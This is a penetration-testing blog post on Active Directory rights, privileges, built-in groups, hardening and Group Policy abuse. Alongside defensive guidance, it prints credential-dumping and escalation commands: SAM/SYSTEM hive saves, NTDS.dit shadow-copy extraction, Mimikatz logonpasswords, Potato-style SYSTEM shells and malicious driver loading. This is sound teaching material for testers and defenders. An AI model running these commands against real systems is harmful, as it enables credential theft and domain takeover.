> ## Content Index
> Fetch the complete content index at: https://niklas-heringer.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# Active Directory Journey Day Four: Rights, Privileges, GPOs and a Whole Lot More
- URL: https://niklas-heringer.com/penetration-testing/active-directory-journey-day-four/
- Published: 2025-06-20T06:26:00.000Z
- Updated: 2025-11-16T09:30:49.000Z
- Description: This post digs into Group Policy, Active Directory privileges, and built-in groups. I break down who has silent power, how attackers exploit User Rights, and what defenders can do to lock it down. Expect practical cheatsheets, tools, and battle-tested hardening tips.
- Author: Niklas Heringer
- Tags: ad-challenge, ad-infrastructure, active-directory, gpo, penetration-testing

Hey folks, been laying sick most of the week, only now getting better.. I'll try to get **back to regular pace** as soon as possible, so let's see what we have today hehe.

> Today's all about **Rights & Privileges in AD**. Hope you'll enjoy!

# Rights & Privileges in AD - broken down

> In Active Directory, rights and privileges are the difference between *"can I look around?"* and *"can I take over the company?"*

Think of a **right** as the **permission to enter a room** \- e.g., opening the `Finance` folder on a shared drive is such a right. A **privilege** however is the **authority to perform an action** \- *shredding* documents or changing someone's *salary*.

| Term          | Analogy                               | Example                                             |
| ------------- | ------------------------------------- | --------------------------------------------------- |
| **Right**     | Key to open a specific door           | Read a file, log in locally                         |
| **Privilege** | Ability to perform a high-impact task | Reset passwords, shut down server, install software |

> **Rights** \= Access something. **Privileges** \= Do something powerful.

---

# Windows Quirks: "User Rights Assignment" != Just Rights

In Windows, there's a setting called [**User Rights Assignment**](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/user-rights-assignment?ref=niklas-heringer.com) \- but these are **privileges**, not mere rights!

> It's like labeling someone's Job as "Janitor", not giving proportional tribute to the fact that they also hold **master keys to the building**.. *misleading* name, *powerful* tool.

**User Rights Assignment (URA)** allows actions like:

- Logging on locally
- Shutting down the system
- debugging programs
- backing up files
- loading device drivers

As you can imagine, each of these is a powerful entry point when misconfigured.

---

# Built-in AD Groups - The Secret Society of Privileges

Active Directory comes with a lot of [**pre-made groups**](https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-groups?ref=niklas-heringer.com).

> Think of these like **departments with secret clearance levels**.

Membership here = silent power. **And we'll now find out how.**

## Top-Suspects: Dangerous Built-In Groups

Let's highlight the **juciest ones**:

| Group                 | Powers (and Pitfalls)                                                                              |
| --------------------- | -------------------------------------------------------------------------------------------------- |
| **Domain Admins**     | God Mode. Full domain control. Being a member = **owning the entire AD**.                          |
| **Administrators**    | Local or domain-wide (on DCs) full access. Always high-value.                                      |
| **Backup Operators**  | Can copy **any file** \- including NTDS.dit, **even if denied**. Often overlooked. Dangerous.      |
| **Server Operators**  | Manage services and shares on DCs. Add a service = get SYSTEM. Easily abused.                      |
| **Print Operators**   | Yes, printers. But they can also log into DCs. Rare, but can be **weaponized via driver hijacks**. |
| **DnsAdmins**         | If DNS is on a DC, DnsAdmins = **code execution on the DC** via DLL path changes. Huge.            |
| **Hyper-V Admins**    | Virtual DCs? This group can access their disk. That’s **game over**.                               |
| **Schema Admins**     | Change the DNA of AD. Add fields, inject backdoors. Only needed briefly - should be **empty**.     |
| **Enterprise Admins** | Forest-wide power. Create domains, trusts, users. Dangerous if cross-forest trusts exist.          |
| **Account Operators** | Manage users (except Admins). Can create new privileged accounts if monitored poorly.              |

## Some look harmless.. but aren't

| Group                       | Why You Should Care                                                                                      |
| --------------------------- | -------------------------------------------------------------------------------------------------------- |
| **Remote Desktop Users**    | Anyone here can log in via RDP. That might be all an attacker needs.                                     |
| **Remote Management Users** | Same idea - allows remote PowerShell and WinRM access.                                                   |
| **Event Log Readers**       | Can read sensitive logs (like security events) - stealthy privilege.                                     |
| **Pre–Windows 2000 Access** | Often a legacy setting. Can allow anonymous users to **read too much**. Dangerous if still in use.       |
| **Group Policy Creators**   | Can craft GPOs to deploy malware, add users, or set startup scripts. **Power hidden behind creativity**. |

## AD Group Membership = Privileges

> **Remember:** being in the **right group** is like having a **master keycard** \- you don't need to break the lock, you just swipe.

Attackers love:

- **Nested groups** \- *we had that already*: user is in group A → group A is in group B → group B is Domain Admins 😈
- **Stale memberships** \- user left the company, but is **still in Hyper-V Admins**
- **Service accounts** in powerful groups - low visibility, high danger

### Group Metadata in AD

```powershell
PS C:\> Get-ADGroup -Identity "Server Operators" -Properties *

```

Look for:

- `adminCount : 1` → **protected** group
- `GroupScope = DomainLocal / Global`
- Members → *who’s in there?*
- `nTSecurityDescriptor` → who can change it?

These details help you:

- Spot **overprivileged** accounts
- **Map** escalation **paths**
- Plan **privilege escalation attacks**

## Quick Recap - Built-In Groups you MUST know

| Group                | Danger Level | Notes                                                |
| -------------------- | ------------ | ---------------------------------------------------- |
| Domain Admins        | 💀💀💀💀💀   | Full domain compromise. Ultimate prize.              |
| Backup Operators     | 💀💀💀💀     | Dump NTDS.dit. Can bypass file ACLs.                 |
| DnsAdmins            | 💀💀💀💀     | DLL injection = code on DC.                          |
| Server Operators     | 💀💀💀       | Manage DC services. Escalation vector.               |
| Print Operators      | 💀💀         | Load drivers → escalate. Often ignored.              |
| Hyper-V Admins       | 💀💀💀💀     | Access DCs if virtual. Path to NTDS.dit.             |
| Schema Admins        | 💀💀💀       | Rarely needed. Remove members immediately after use. |
| Enterprise Admins    | 💀💀💀💀💀   | Forest-wide. Watch out in trust scenarios.           |
| Remote Desktop Users | 💀           | RDP access = foothold.                               |

---

# The Most Dangerous Privileges - Deep Dive

> Some User Rights are just there. Others are loaded weapons.  
> Let’s dissect the **most abusable ones**, what they mean **in practice**, and **how attackers use them**.

## `SeRemoteInteractiveLogonRight`: Logon via RDP

> This right allows a user to log in **remotely** via [RDP](https://www.solarwinds.com/resources/it-glossary/remote-desktop-protocol?ref=niklas-heringer.com).

### Why it Matters

- Granting this right to a user gives them **interactive shell access**.
- If the user has this right on a **Domain Controller or sensitive server**, that’s game over. = Often granted through **Remote Desktop Users group**.

### Enumeration

```powershell
Get-LocalGroupMember -Group "Remote Desktop Users"

```

### Abuse

If you're a pentester and find yourself in a group that grants this right:

```bash
mstsc /v:<target-ip>

```

or from PowerShell:

```powershell
Enter-PSSession -ComputerName <target-ip>

```

## `SeBackupPrivilege`: Bypass File Access Control Lists (ACLs)

> Lets users **read any file**, regardless of permissions, for **backup purposes**.

Using this, we can dum `NTDS.dit`, `SAM`, `SYSTEM`, `SECURITY`, all without being Admin.

To exploit this for **stealthy exfiltration**, we can combine it with

### Co-Work with Shadow Copies

Shadow Copies, also called **Volume Shadow Copy Service (VSS)**, is a Microsoft Technology, enabling snapshots and safety copies of files or whole disks **while they are in use.**

### Abuse (Dumping `SAM`/`SYSTEM`)

```powershell
reg save HKLM\SAM sam.bak
reg save HKLM\SYSTEM system.bak

```

### Abuse (`NTDS.dit` via Shadow Copy):

```powershell
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit .

```

> ⚠️ Add `SeRestorePrivilege` and `SeSecurityPrivilege` to make this even more dangerous.

## `SeDebugPrivilege`: Read Process Memory

> Enables reading/modifying memory of **any process**, including `SYSTEM` ones like [lsass.exe](https://en.wikipedia.org/wiki/Local%5FSecurity%5FAuthority%5FSubsystem%5FService?ref=niklas-heringer.com).

### Used in

- Credential Dumping (e.g., [Mimikatz](https://github.com/ParrotSec/mimikatz?ref=niklas-heringer.com))
- Reverse Engineering
- Manipulating protected processes

### Abuse with Mimikatz

```mimikatz
privilege::debug
sekurlsa::logonpasswords

```

> You'll need to be in an **elevated session** to access LSASS memory.

## `SeImpersonatePrivilege`: Become Someone Else

> Let's you **impersonate tokens** of other users/services - like `SYSTEM`.

### Why it's cricital

- **Local Privilege Escalation (LPE)** when combined with a vulnerable service
- Abused in [Potato-style exploits](https://github.com/AtvikSecurity/CentralizedPotatoes?ref=niklas-heringer.com)

### Tools & Examples

> Notable tools to exploit this right are [JuicyPotato](https://github.com/ohpe/juicy-potato?ref=niklas-heringer.com), [RoguePotato](https://github.com/antonioCoco/RoguePotato?ref=niklas-heringer.com), [PrintSpoofer](https://github.com/itm4n/PrintSpoofer?ref=niklas-heringer.com), [GenericPotato](https://github.com/micahvandeusen/GenericPotato?ref=niklas-heringer.com), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM?ref=niklas-heringer.com)

**Example (PrintSpoofer)**:

```powershell
PrintSpoofer.exe -i -c cmd.exe

```

**Modern GenericPotato**:

```powershell
GenericPotato.exe -m COM -t SYSTEM -p "cmd.exe"

```

## `SeLoadDriverPrivilege`: Kernel Access

> Lets a user **load unsigned drivers** into the kernel.

### Why it's Dangerous

- Kernel drivers = ring 0 access
- Attackers can **load malicious drivers** for persistence, rootkits or LPE

### Abuse

If we can create a malicious driver `.sys` file, we can then load it via registry:

```powershell
reg add HKLM\SYSTEM\CurrentControlSet\Services\MyDriver /v ImagePath /t REG_EXPAND_SZ /d \??\C:\MyDriver.sys /f

```

and start the driver cia:

```powershell
sc create MyDriver type= kernel binPath= "C:\MyDriver.sys"
sc start MyDriver

```

> This is not so commonly abused due to needing **a valid (but malicious) driver file**, but it is very powerful.

## `SeTakeOwnershipPrivilege`: Own Protected Objects

> Lets you **take ownership** of files/folders/registry keys **even without access**.

### Why it matters

- After taking ownership, you can **change permissions** and **read/modify** it at will.
- Useful for **gaining access to sensitive data** or **config files**.

### Abuse

Taking ownership:

```powershell
takeown /f C:\SensitiveFolder /r /d y

```

Granting yourself full control:

```powershell
icacls "C:\SensitiveFolder" /grant youruser:F /t

```

> You still need the **Modify Permissions** right on the file, unless you're `SYSTEM` or Admin.

## Summary - Abuse Cheatsheet

| Privilege                     | What It Lets You Do                     | Common Tools / TTPs Used                       |
| ----------------------------- | --------------------------------------- | ---------------------------------------------- |
| SeRemoteInteractiveLogonRight | Log in via RDP                          | mstsc, Enter-PSSession, lateral movement       |
| SeBackupPrivilege             | Read any file, bypass ACLs              | reg save, vssadmin, copy NTDS.dit              |
| SeDebugPrivilege              | Dump memory of any process              | Mimikatz, procdump, custom tools               |
| SeImpersonatePrivilege        | Run as SYSTEM from user context         | PrintSpoofer, RoguePotato, GenericPotato, etc. |
| SeLoadDriverPrivilege         | Load malicious kernel-mode drivers      | sc.exe, reg add, custom driver loaders         |
| SeTakeOwnershipPrivilege      | Become file/registry owner, change ACLs | takeown, icacls                                |

---

# Enumerating Privileges: `whoami /priv`

> Want to know what powers a user **really has**? This is your first stop.

The `whoami /priv` command **lists all privileges** assigned to the current user, and whether they are **enabled or disabled** in the session.

```powershell
PS C:\htb> whoami /priv

```

But there's a catch...

## UAC: The Privilege Gatekeeper

Since Windows Vista, **User Account Control (UAC)** ensures even administrators **don't run everything with full privileges by default**.

> You have to **explicitly request elevation** \- either through `Run As Administrator`, an **elevated PowerShell session** or a UAC prompt - to actually use some of your assigned rights.

This is where attackers trip up - or get *creative*.

### Case 1: Standard Domain User

User: `john.doe` in `Domain Users` only.

```powershell
PS C:\htb> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

```

**Analysis:**

- These are minimal rights.
- No escalation risk by themselves.
- The user can traverse folders but can’t read protected files.

### Case 2: Domain Admin (Non-Elevated Session)

User: `Administrator`, but launched PowerShell **without elevation**.

```powershell
PS C:\htb> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeShutdownPrivilege           Shut down the system           Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeUndockPrivilege             Remove computer from dock      Disabled
SeTimeZonePrivilege           Change the time zone           Disabled

```

**Analysis:**

- Still looks **low-priv**.
- This is because **UAC blocks activation** of powerful rights.
- Attacker POV: **you must elevate** to activate serious abuse paths.

> **PLEASE** drink a cup of water right now! Take a break, stretch, then go on.

### Case 3: Domain Admin (Elevated Session)

**Same user**, now launched **"Run as Administrator"**.

```powershell
PS C:\htb> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeDebugPrivilege              Debug programs                     Enabled
SeBackupPrivilege             Back up files and directories      Disabled
SeImpersonatePrivilege        Impersonate client after auth      Enabled
SeTakeOwnershipPrivilege      Take ownership                     Disabled
...

```

**Analysis:**

- **Now we’re cooking.**
- Even though some privileges like `SeBackupPrivilege` or `SeTakeOwnershipPrivilege` are still Disabled, they are **available**, and **tools can activate them when needed**.

> Example: Mimikatz needs `SeDebugPrivilege` enabled, which is only active in this elevated session.

### Case 4: Backup Operators Group Member

```powershell
PS C:\htb> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeShutdownPrivilege           Shut down the system           Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

```

**Analysis:**

- `SeBackupPrivilege` is **not visible** here - **UAC blocks it**
- But it's **technically granted** \- if we elevate, we can leverage it.

> [SharpUp](https://github.com/GhostPack/SharpUp?tab=readme-ov-file&ref=niklas-heringer.com) or [Seatbelt](https://github.com/GhostPack/Seatbelt?ref=niklas-heringer.com) can enumerate these rights across systems.

## Takeaways

| Scenario             | What You See             | What’s Hidden                            |
| -------------------- | ------------------------ | ---------------------------------------- |
| Standard user        | Low-priv output          | No attack paths visible                  |
| Admin (non-elevated) | Looks weak               | Rights like SeDebugPrivilege are dormant |
| Admin (elevated)     | All juicy rights show up | Game on - escalation ready               |
| Backup Operator      | Looks like nothing       | Privs like SeBackupPrivilege lie dormant |

## Why this matters for us

- **Just being in a privileged group is enough** \- rights exist whether or not UAC reveals them.
- **Auditing only visible privileges can be misleading**
- **Attackers can silently exploit dormant rights once they elevate**

### Tips for Lab Testing

If you're unsure what a user **should** or **shouldn't be** able to do, compare output between:

```powershell
whoami /priv

```

vs.

```powershell
Start-Process powershell -Verb runAs

```

Then run `whoami /priv` again inside the elevated shell.

---

# Active Directory Security Basics: Hardening the Castle Walls

> **Imagine AD a giant castle**, built for comfort and peace, but the walls have.. gaps.

By design, Active Directory leans heavily toward **Availability** in the [CIA Triad](https://www.nccoe.nist.gov/publication/1800-26/VolA/index.html?ref=niklas-heringer.com#:~:text=The%20CIA%20triad%20represents%20the,%2C%20and%20availability%2C%20as%20follows.&text=This%20series%20of%20practice%20guides,altered%20in%20an%20unauthorized%20manner.) \- you should read it, it is **often quoted and used** (wrong), which is why i am going to explain it again.

> Turns out determining your CIA Triad priorities is not always that simple..

AD is meant to make **sharing easy, access simple and admin tasks scalable**.

But as defenders (or attackers 👀), we have to ask ourselves: *"Supposing our security measures fail, what if someone actually gets inside?"*

## The CIA Triad - A Balancing Act

Security is all about juggling:

- **Confidentiality** \- *Who’s allowed to see what?*
- **Integrity** \- Is the data still trustworthy?
- **Availability** \- Can users get to what they need?

| CIA Element         | In AD Context                         | AD Default Focus |
| ------------------- | ------------------------------------- | ---------------- |
| **Confidentiality** | Permissions, Group Memberships        | ✅                |
| **Integrity**       | Preventing tampering, logging         | ❌                |
| **Availability**    | Users can always log in, access stuff | ✅✅               |

> AD favours easy access and availability over (hard) security by default. Let's talk about fixing that.

## General Active Directory Hardening Measures

Think of these as installing different kinds of deadbolts on our castle doors.

## LAPS (Local Administrator Password Solution)

> *One admin password to rule them all?* Terrible idea.

LAPS randomizes the **local admin password** per machine and rotates it regularly. This:

- prevents lateral movement with reused creds
- makes post-exploitation harder

*Want to check your LAPS config?*

```powershell
Get-AdmPwdPassword -ComputerName TARGET

```

The prerequisites for this are **LAPS installed** & rights to view passwords.

## Audit Policy Settings: See Everything, Miss Nothing

> "If it's not logged, did it even happen?"

Set up logging to catch:

- New users suddenly appearing
- Strange logon times
- GPOs being modified
- Brute-force attempts
- Password changes and resets

Key tools:

- Event Viewer (`Security` log is gold)
- SIEM integration (e.g., Splunk, Sentinel)
- GPO setting: `Audit object access`, `Audit logon events`, `Audit privilege use`, etc.

## Group Policy: More Than Just Wallpaper Settings

> GPO = Admin spellbook. *Use it wisely*.

### Account Policies

Control how users authenticate:

- Enforce strong passwords (length, complexity)
- Lock out after `X` failed attempts
- Limit Kerberos ticket lifetimes

### Local Policies

Per-machine hardening:

- Disable unused accounts (Guest)
- Disable remote logon for users/groups
- Deny RDP to standard users

### Software Restriction Policies & AppLocker

> Want to block PowerShell for interns? [AppLocker](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/applocker/applocker-overview?ref=niklas-heringer.com) is your friend.

Block:

- `.exe` execution outside `C:\Program Files`
- Scripts (`.ps1`, `.vbs`, `.bat`)
- Untrusted installers

> These can often be **bypassed**, but it adds friction - and friction buys detection time.

Tools like Applocker serve as so-called **Application Control Policies**

## Advanced Audit Policy Configuration

GPO Path: `Computer Configuration → Policies → Windows Settings → Advanced Audit Policy Configuration`

Audit events like:

- File access/modification
- User logon/logoff
- Privilege use (e.g., SeDebugPrivilege)
- Policy changes

> Enable what's useful, but avoid log floods - they hide real attacks in noise.

## Patch Management: WSUS & SCCM

> Unpatched = unhardended. Always.

Even with the best GPOs and SIEM in place, unpatched systems = easy prey.

Options:

- [WSUS](https://learn.microsoft.com/en-us/windows-server/administration/windows-server-update-services/get-started/windows-server-update-services-wsus?ref=niklas-heringer.com) – Free, local Windows updates server
- [SCCM](https://www.automox.com/blog/what-is-sccm?ref=niklas-heringer.com) – Paid, enterprise patch + config manager

> Missed patch = [EternalBlue](https://en.wikipedia.org/wiki/EternalBlue?ref=niklas-heringer.com) all over again :')

## Group Managed Service Accounts (gMSA)

> Service accounts with 120-character auto-changing passwords you don’t even know? Hell yes.

Why gMSAs rock:

- **Auto-managed by AD**
- Long, complex passwords rotated regularly
- Non-interactive - great for scheduled tasks, IIS, SQL, etc.

Check out usage:

```powershell
Get-ADServiceAccount -Filter *

```

> **Warning**: Not all apps support gMSAs. Test before rollout!

## Security Groups: Controll Access Like a Pro

> Don't assign rights to **users** \- assign to **groups**! Always!

***Why?***

- WAY easier to manage
- Auditable
- Less room for error

**Use:**

- Role-based groups: `HR_Print_Access`, `Finance_RDP`
- Avoid overuse of default groups (`Domain Admins`, `Administrators`, etc.)

> GPOs, folder permissions, RDP, and file shares should **only point to groups**.

## First of Two: AD Hardening TL;DR

| Security Measure     | Why It Matters                              |
| -------------------- | ------------------------------------------- |
| **LAPS**             | Prevents password reuse across hosts        |
| **Audit Policies**   | Detects weird behavior before it's too late |
| **GPO Hardening**    | Controls user capabilities system-wide      |
| **AppLocker**        | Stops unauthorized tools & scripts          |
| **Patch Management** | Kills known vulnerabilities                 |
| **gMSA**             | Secures service accounts                    |
| **Security Groups**  | Simplifies access management & auditing     |

> Start here. Add more layers later. **Defense in depth isn’t optional**, it’s **survival**.

## Built-in Security Groups – Hidden Gatekeepers

Active Directory comes with many **default groups** \- and while some are harmless, others carry **serious power**.

> If Domain Admins are the kings, groups like Account Operators or Backup Operators are their **trusted stewards** – with keys to specific, juicy chambers.

💡 Always review group memberships. Tools like:

```powershell
Get-ADGroupMember "Account Operators"

```

or BloodHound can reveal **attack paths through nested groups**.

## Account Separation – One Hat at a Time

> Admins should never do email and domain work with the same account. That’s like carrying sensitive blueprints while visiting a food court.

**Best practice:**

- `sjones` → regular user account
- `sjones_adm` → admin account, used **only** from hardened systems

This limits:

- **Credential theft** from phishing
- **Privileged access** leakage on endpoints

## Passwords, Passphrases & 2FA

A complex 8-character password isn’t good enough anymore.

> *“Winter2024!” might pass AD complexity, but I’d try it within the first 10 guesses.”* – Every pentester ever

# Recommendations for Good Passwords

- Consider using **passphrases**: `YodaEats@Midnight@Dagobah`
- Enforce minimum lengths: **12+ characters**
- Block common terms: months, seasons, `companyname123`
- Use **password filters** like [OpenPasswordFilter](https://github.com/jephthai/OpenPasswordFilter?ref=niklas-heringer.com)
- Enable **2FA for RDP access** wherever possible

> [Spray attacks](https://www.bleepingcomputer.com/tag/password-spray/?ref=niklas-heringer.com) succeed when people get lazy with passwords. **Make laziness harder.**

## Limiting Domain Admin Usage

> Domain Admins should **only** touch Domain Controllers.

Using a DA account on a workstation is like:

- Wearing the **crown jewels** while commuting 🚇
- And leaving them on the seat

Restrict DA logins with:

```powershell
Set-ADUser -Identity da_user -LogonWorkstations "DC01"

```

Combine with **Tiered Admin Models** – protect Tier 0 assets with surgical access.

## Remove Stale Users & Ghost Accounts

> If an account hasn’t logged in since 2015… you probably don’t want to find out what it has access to during a breach.

Audit and disable:

- Orphaned accounts
- Old contractors
- Forgotten service accounts

PowerShell to the rescue:

```powershell
Search-ADAccount -AccountInactive -UsersOnly -TimeSpan 90.00:00:00

```

## Permissions & Access Audits

How many **Domain Admins** do you have?

> If the answer is **more than 5**, it's probably **too many**.

Audit:

- Group memberships
- File share access
- Local Admin rights

💡 Use tools like:

- [BloodHound](https://github.com/SpecterOps/BloodHound?ref=niklas-heringer.com)
- PowerView (`Get-NetLocalGroup`)
- `AccessChk.exe` from Sysinternals

## Audit Policies & Logging

> No logs = No visibility = No security

Enable and centralize:

- Kerberos ticket usage
- Account lockouts
- Group membership changes
- Logon events (`4624`, `4625`, `4768`, `4769`, etc.)

Use:

```powershell
auditpol /get /category:*

```

And feed into a SIEM for real-time detection.

## Restricted Groups

> Want to **enforce group membership via GPO**?

Use **Restricted Groups** to:

- Control who’s in `Administrators` on all machines
- Keep `Enterprise Admins` locked to specific accounts

Configure in GPO:

```text
Computer Configuration → Policies → Windows Settings → Security Settings → Restricted Groups

```

## Server Role Separation – Keep Services in Their Lanes

Installing IIS on a Domain Controller?

> That’s like **hosting your castle’s party in the war room**. Bad idea.

Never co-locate:

- DC + Web Server
- Exchange + DB + anything else

**Isolate roles** to minimize:

- Attack surface
- Compromise blast radius

## Limit Local Admins & RDP

> If `Domain Users` can RDP or are in `Administrators` group on a workstation - that's a **recipe for pwnage**.

Audit RDP rights:

```powershell
Get-LocalGroupMember -Group "Remote Desktop Users"

```

Restrict with:

- GPOs (`Allow log on through Remote Desktop Services`)
- Restricted Groups

> You could disable RDP entirely where not needed. It’s a door - and doors are attack surfaces.

## Second of Two: AD Hardening TL;DR

| Control                        | Why You Need It                         |
| ------------------------------ | --------------------------------------- |
| **Account Separation**         | Minimize exposure of admin creds        |
| **Password Hygiene + 2FA**     | Stop brute-force & spray attacks        |
| **Limit Domain Admin Usage**   | Contain blast radius in case of breach  |
| **Audit Stale Objects**        | Eliminate forgotten access paths        |
| **Restrict Group Memberships** | Reduce overprivilege & lateral movement |
| **Segment Roles**              | Minimize service attack surfaces        |
| **Control RDP + Local Admins** | Prevent easy access & credential theft  |

---

# Group Policy in Active Directory - Introduction

> If Active Directory is the heart of your Windows network, Group Policy is **the nervous system**: sending instructions, enforcing rules, and keeping things in sync across thousands of machines.

## What is Group Policy?

**Group Policy** is a feature in Windows that allows administrators to **define rules and configurations** that are then automatically applied to **users and computers.**

These rules are **grouped into objects called Group Policy Objects (GPOs)**.

Think of a GPO like a **company-wide policy memo**:

- *"Disable USB ports."*
- *"Use a password longer than 12 characters."*
- *"Install this update."*

> Once published, the whole office complies, **whether you like it or not.**

## Where Group Policy Lives

- **Local Group Policy:** Exists on every Windows machine. Good for single-host rules.
- **Domain Group Policy:** Managed via AD - lets you deploy policies across the entire org, OUs, sites, or specific user/computer groups.

> In AD, **Group Policy becomes a weapon** for both defense and offense - hardening systems or, when misused, opening dangerous backdoors.

## What Can You Actually Do With GPOs?

Here's just a **taste** of what GPOs let you control:

| Use Case                          | Example                                                                 |
| --------------------------------- | ----------------------------------------------------------------------- |
| Enforce security policies         | Password length, complexity, lockout settings, Kerberos ticket lifetime |
| Lock down systems                 | Block USBs, disable PowerShell, rename guest/admin accounts             |
| Restrict applications             | Prevent cmd.exe, block .ps1 scripts via AppLocker                       |
| Automate scripts or startup tasks | Logon banner, drive mapping, cleanup scripts                            |
| Enable detailed auditing          | File access, user logon/logoff, privilege use                           |
| Deploy software or updates        | Install antivirus, push configs, schedule reboots                       |

## Where GPOs Are Applied: Scope & Precedence

Group Policy is **hierarchical** \- policies are applied in this order:

1. **Local Group Policy** (lowest priority)
2. **Site-Level GPOs**
3. **Domain-Level GPOs**
4. **Organizational Unit (OU) GPOs**
5. **Child OU Policies** (highest priority)

> *If two GPOs conflict, the one applied *last* takes precedence.*

### Example:

- A Domain-level GPO says *“Enable PowerShell.”*

A specific OU-level GPO says *“Disable PowerShell.”*

> **The OU policy wins**, unless the Domain policy is marked **Enforced**.

You can also:

- **Block Inheritance** → prevent higher-level policies from flowing down
- **Enforce GPOs** → make sure nothing below can override it

## GPO Refresh Timing: When Do Settings Apply?

Group Policy isn't instant. Here’s how often settings are refreshed:

| Target                 | Default Interval                |
| ---------------------- | ------------------------------- |
| **Users & Computers**  | Every 90 minutes ±30 min jitter |
| **Domain Controllers** | Every 5 minutes                 |

**Force a GPO update manually:**

```powershell
gpupdate /force

```

Modify this interval via GPO: `Computer Configuration → Policies → Administrative Templates → System → Group Policy`

## Default GPOs

### Default Domain Policy

Automatically created - used to apply domain-wide settings (e.g. password policy)

### Default Domain Controllers Policy

Applies to all DCs in the domain. Covers things like audit policy, user rights.

> Best Practice: Don't bloat these default GPOs too much. Use separate GPOs for role-specific settings, then **link** them to the correct OUs.

# Group Policy in Active Directory - Risks & Real Defense

> Group Policy isn't just a sysadmin's toolkit - it's an attacker’s dream when misconfigured.

After understanding how GPOs work and where they apply, it’s time to come back to **our red side of the fence** \- and then see how we can reinforce the blue-side barricades.

## How Attackers Abuse Group Policy

Once an attacker gains access to an account that can **modify or link GPOs**, they’re one step away from:

- **Escalating privileges**
- **Moving laterally**
- **Achieving persistence**
- **Owning the domain**

### Example Attacks:

- **Grant RDP access** to themselves via a GPO
- **Add malicious users** to the local Administrators group across the fleet
- **Push scheduled tasks** that download and run malware
- **Disable security tools** silently
- **Deploy keyloggers or reverse shells** domain-wide

> *One GPO linked to the wrong OU = full environment compromise.*

### BloodHound + GPOs: Mapping Attack Paths

Remember BloodHound from my earlier posts? Tt's brilliant at spotting GPO misuse.

#### Example

- `Domain Users` is in a group with **GenericWrite** on a GPO (e.g. `Disconnect Idle RDP`)
- That GPO is linked to an OU containing **IT-admin machines**
- Attacker modifies the GPO to add themselves to the **Remote Desktop Users** group
- Now they can log in → harvest credentials → move laterally → escalate 🚀

> 💡 Even indirect group membership, like **nested groups**, can create exploitable paths.

# Defending Against GPO Abuse

Let’s flip the table and reinforce our domain using the same toolset.

## 1\. Audit & Lock Down GPO Permissions

Run:

```powershell
Get-GPO -All | ForEach-Object {
  Get-GPPermission -Guid $_.Id -All
}

```

→ Review **who can edit or link** each GPO. Strip down unnecessary write access.

## 2\. Use Enforced GPOs Carefully

- Use **Enforced** for baseline security (e.g. password policies)
- Don’t overuse - it can break valid child OU configurations
- Balance **Enforced** with **Block Inheritance** to control flow

## 3\. Enable GPO Auditing

GPOs are code. You need **version control**.

Enable advanced audit policies:

- `Audit Directory Service Changes`
- `Audit Policy Change`
- `Audit Security Group Management`
- Push logs to a SIEM (e.g. Splunk, Sentinel) to detect changes in real time

## 4\. Follow Least Privilege for GPO Management

- Only specific **delegated admin accounts** should touch GPOs
- Never let “normal” IT users modify policies
- Use **RBAC** and limit GPO access by role & need

## 5\. Clean Up & Control Scope

- Don’t let GPOs sit unlinked or overly broad
- Avoid linking a GPO to the **entire domain** unless necessary
- Regularly review GPO-to-OU links and unlink outdated ones

## 6\. Watch Out for GPO Abuse Tactics

Common red flags:

| Indicator                            | Potential Risk                                |
| ------------------------------------ | --------------------------------------------- |
| Users in groups with GPO edit rights | Unintended privilege escalation paths         |
| Unlinked but enabled GPOs            | Stealthy persistence (can be re-linked later) |
| GPOs granting local admin access     | Lateral movement vectors                      |
| GPOs with scripts or scheduled tasks | Malware deployment method                     |

Group Policy can be a **security blanket** \- or **a loaded weapon**. The key difference? **Understanding, visibility, and careful administration.**

Now that you’ve seen how GPOs work, how they're structured, and how they can be used for good (or evil), you’re better prepared to:

- Spot privilege escalation paths
- Harden your domain config
- Win Red Team vs. Blue Team skirmishes in the field

---

This is it queens, this is the wrap up for this one. **Next is the Lab itself. Finally**. I am slowly feeling better, let's see when i'll be restored back to full strength.

> Until the next one! Drink enough water!